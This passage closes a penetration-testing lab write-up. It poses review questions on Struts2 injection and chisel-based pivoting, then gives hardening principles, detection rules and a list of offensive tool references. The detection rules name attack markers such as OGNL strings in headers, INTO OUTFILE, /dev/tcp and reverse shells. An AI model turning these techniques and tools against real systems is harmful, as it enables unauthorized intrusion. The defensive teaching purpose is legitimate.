2. What does "two-layer internal network" mean? Why can't you connect directly to the internet?
3. What are the similarities and differences between S2-045 and S2-046? Why can they inject through Content-Type/filename?
4. proxychains4 pgcli in proxychains4 — what does it do? What happens if you omit it?
5. Taking it further: this lab depends on "dual-NIC jump host + chisel." If a jump host provides no way to install or run chisel (no execute permission, or only a web console), how would you achieve the same effect? (Hint: WebShell proxying, SSH tunnels, frp, etc.)

Chapter 7　Comprehensive defense and hardening

“

This lab collects nearly every classic mistake. The best way to defend is to know how attackers get in.

7.1 Side-by-side mapping (attack point vs defense point)

7.2 Core defense principles

1. Defense in depth: don't stake security on a single point. Even if the external web is breached, the internal network should be micro-segmented so attackers "get in but can't get far."
2. Eliminate weak passwords: enforce strong passwords on all databases/admin panels + rotate regularly + lockout policies.
3. Restrict database file-write permissions: secure_file_priv don't leave it empty; prohibit DB writes to the web root.
4. Least privilege: separate application accounts from the DBA;root no Web admin; run containers/processes with low privileges.
5. Least exposure: bind the database and management consoles (phpMyAdmin) only to the internal/management network segment, never expose them to the public internet.
6. Outbound traffic control: strictly limit the outbound connections that internal machines initiate, since reverse shells, wget, and tunnel callbacks all depend on outbound access.
7. Alerting and auditing: monitor for anomalous behavior (INTO OUTFILE,base64 -d,/dev/tcp, abnormally large cookies, frequent failed logins, etc.).

7.3 Practical detection rules (examples)

• Detect unusual Content-Type / whether the filename contains %{,#context,Runtime (OGNL).
• Detect SELECT ... INTO OUTFILE / large-volume INTO DUMPFILE statements.
• Detect rememberMe cookies that grow abnormally large (which can be used to match large objects).
• Detect large volumes and high frequency of outbound connections from internal hosts (pointing to port 80/443 on non-whitelisted IPs, etc.).
• Detect AUTH a sudden spike in failed attempts (Redis/Postgres brute force).

Appendix A — Quick-reference tool table

A.1 chisel command reference

A.2 Key fscan output symbols

Appendix B — Glossary

Appendix C References and Further Reading

• Official lab:CTF-Archives/Puff-Pastry
• Official WriteUp:TryHackMyOffsecBox — Puff-Pastry
• Shiro Attack2:SummerSec/ShiroAttack2
• ThinkPHP GUI tool:bewhale/thinkphp_gui_tools
• Struts2 scanner:abc123info/Struts2VulsScanTools
• Redis brute force:vgo0/redisbrute
• Internal penetration & tunneling:chisel / frp / ssh -L/-R/-D official docs; advanced books such as 《内网安全攻防》.

“

This article is intended solely forlegally authorized environmentsIt is intended for use in teaching and penetration testing practice. It must never be used against unauthorized targets. Please comply with the laws and regulations of your country/region.